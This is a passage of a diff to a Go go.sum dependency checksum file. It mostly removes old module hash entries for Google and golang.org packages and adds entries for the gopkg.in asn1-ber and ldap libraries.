-golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= -golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82ur9kSqwfTHTeVxaDqrfMjpcNT6bE= -golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= -golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.2/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.3/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.4/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= -golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= -google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= -google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= -google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/api v0.14.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/api v0.15.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= -google.golang.org/api v0.17.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.18.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.19.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.20.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.22.0/go.mod h1:BwFmGc8tA3vsd7r/7kR8DY7iEEGSU04BFxCo5jP/sfE= -google.golang.org/api v0.24.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= -google.golang.org/api v0.28.0/go.mod h1:lIXQywCXRcnZPGlsd8NbLnOjtAoL6em04bJ9+z0MncE= -google.golang.org/api v0.29.0/go.mod h1:Lcubydp8VUV7KeIHD9z2Bys/sm/vGKnG1UHuDBSrHWM= -google.golang.org/api v0.30.0/go.mod h1:QGmEvQ87FHZNiUVJkT14jQNYJ4ZJjdRF23ZXz5138Fc= -google.golang.org/api v0.35.0/go.mod h1:/XrVsuzM0rZmrsbjJutiuftIzeuTQcEeaYcSk/mQ1dg= -google.golang.org/api v0.36.0/go.mod h1:+z5ficQTmoYpPn8LCUNVpK5I7hwkpjbcgqA7I34qYtE= -google.golang.org/api v0.40.0/go.mod h1:fYKFpnQN0DsDSKRVRcQSDQNtqWPfM9i+zNPxepjRCQ8= -google.golang.org/api v0.41.0/go.mod h1:RkxM5lITDfTzmyKFPt+wGrCJbVfniCr2ool8kTBzRTU= -google.golang.org/api v0.43.0/go.mod h1:nQsDGjRXMo4lvh5hP0TKqF244gqhGcr/YSIykhUk/94= -google.golang.org/api v0.47.0/go.mod h1:Wbvgpq1HddcWVtzsVLyfLp8lDg6AA241LmgIL59tHXo= -google.golang.org/api v0.48.0/go.mod h1:71Pr1vy+TAZRPkPs/xlCf5SsU8WjuAWv1Pfjbtukyy4= -google.golang.org/api v0.50.0/go.mod h1:4bNT5pAuq5ji4SRZm+5QIkjny9JAyVD/3gaSihNefaw= -google.golang.org/api v0.51.0/go.mod h1:t4HdrdoNgyN5cbEfm7Lum0lcLDLiise1F8qDKX00sOU= -google.golang.org/api v0.54.0/go.mod h1:7C4bFFOvVDGXjfDTAsgGwDgAxRDeQ4X8NvUedIt6z3k= -google.golang.org/api v0.55.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= -google.golang.org/api v0.56.0/go.mod h1:38yMfeP1kfjsl8isn0tliTjIb1rJXcQi4UXlbqivdVE= -google.golang.org/api v0.57.0/go.mod h1:dVPlbZyBo2/OjBpmvNdpn2GRm6rPy75jyU7bmhdrMgI= -google.golang.org/api v0.59.0/go.mod h1:sT2boj7M9YJxZzgeZqXogmhfmRWDtPzT31xkieUbuZU= -google.golang.org/api v0.61.0/go.mod h1:xQRti5UdCmoCEqFxcz93fTl338AVqDgyaDRuOZ3hg9I= -google.golang.org/api v0.62.0/go.mod h1:dKmwPCydfsad4qCH08MSdgWjfHOyfpd4VtDGgRFdavw= -google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= -google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= -google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= -google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/appengine v1.6.6/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= -google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= -google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= -google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= -google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= -google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20191115194625-c23dd37a84c9/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20191216164720-4f79533eabd1/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20191230161307-f3c370f40bfb/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200115191322-ca5a22157cba/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200122232147-0452cf42e150/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= -google.golang.org/genproto v0.0.0-20200204135345-fa8e72b47b90/go.mod h1:GmwEX6Z4W5gMy59cAlVYjN9JhxgbQH6Gn+gFDQe2lzA= -google.golang.org/genproto v0.0.0-20200212174721-66ed5ce911ce/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= -google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= -google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= -google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= -google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210222152913-aa3ee6e6a81c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210303154014-9728d6b83eeb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210310155132-4ce2db91004e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210319143718-93e7006c17a6/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= -google.golang.org/genproto v0.0.0-20210402141018-6c239bbf2bb1/go.mod h1:9lPAdzaEmUacj36I+k7YKbEc5CXzPIeORRgDAUOu28A= -google.golang.org/genproto v0.0.0-20210513213006-bf773b8c8384/go.mod h1:P3QM42oQyzQSnHPnZ/vqoCdDmzH28fzWByN9asMeM8A= -google.golang.org/genproto v0.0.0-20210602131652-f16073e35f0c/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto v0.0.0-20210604141403-392c879c8b08/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto v0.0.0-20210608205507-b6d2f5bf0d7d/go.mod h1:UODoCrxHCcBojKKwX1terBiRUaqAsFqJiF615XL43r0= -google.golang.org/genproto v0.0.0-20210624195500-8bfb893ecb84/go.mod h1:SzzZ/N+nwJDaO1kznhnlzqS8ocJICar6hYhVyhi++24= -google.golang.org/genproto v0.0.0-20210713002101-d411969a0d9a/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= -google.golang.org/genproto v0.0.0-20210716133855-ce7ef5c701ea/go.mod h1:AxrInvYm1dci+enl5hChSFPOmmUF1+uAa/UsgNRWd7k= -google.golang.org/genproto v0.0.0-20210728212813-7823e685a01f/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= -google.golang.org/genproto v0.0.0-20210805201207-89edb61ffb67/go.mod h1:ob2IJxKrgPT52GcgX759i1sleT07tiKowYBGbczaW48= -google.golang.org/genproto v0.0.0-20210813162853-db860fec028c/go.mod h1:cFeNkxwySK631ADgubI+/XFU/xp8FD5KIVV4rj8UC5w= -google.golang.org/genproto v0.0.0-20210821163610-241b8fcbd6c8/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210828152312-66f60bf46e71/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210831024726-fe130286e0e2/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210903162649-d08c68adba83/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210909211513-a8c4777a87af/go.mod h1:eFjDcFEctNawg4eG61bRv87N7iHBWyVhJu7u1kqDUXY= -google.golang.org/genproto v0.0.0-20210924002016-3dee208752a0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211008145708-270636b82663/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211028162531-8db9c33dc351/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211118181313-81c1377c94b1/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211129164237-f09f9a12af12/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211203200212-54befc351ae9/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211206160659-862468c7d6e0/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/genproto v0.0.0-20211208223120-3a66f561d7aa/go.mod h1:5CzLGKJ67TSI2B9POpiiyGha0AjJvZIUgRMt1dSmuhc= -google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= -google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= -google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= -google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= -google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= -google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= -google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= -google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= -google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= -google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= -google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= -google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= -google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0/go.mod h1:6Kw0yEErY5E/yWrBtf03jp27GLLJujG4z/JK95pnjjw= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= -google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= -google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= +gopkg.in/asn1-ber.v1 v1.0.0-20181015200546-f715ec2f112d h1:TxyelI5cVkbREznMhfzycHdkp5cLA7DpE+GKjSslYhM= +gopkg.in/asn1-ber.v1 v1.0.0-20181015200546-f715ec2f112d/go.mod h1:cuepJuh7vyXfUyUwEgHQXw849cJrilpS5NeIjOWESAw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= -gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= -gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= -gopkg.in/ini.v1 v1.66.2/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/ldap.v2 v2.5.1 h1:wiu0okdNfjlBzg6UWvd1Hn8Y+Ux17/u/4nlk4CQr6tU= +gopkg.in/ldap.v2 v2.5.1/go.mod h1:oI0cpe/D7HRtBQl8aTg+ZmzFUAvu4lsv3eLXMLGFxWk= gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 h1:VpOs+IwYnYBaFnrNAeB8UUWtL3vEUnzSCL1nVjPhqrw= gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA= -gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= -gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= -gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= -gopkg.in/yaml.v2 v2.2.7/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= @@ -978,14 +258,3 @@ gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -honnef.co/go/js/dom v0.0.0-20200509013220-d4405f7ab4d8/go.mod h1:sUMDUKNB2ZcVjt92UnLy3cdGs+wDAcrPdV3JP6sVgA4= -honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= -honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 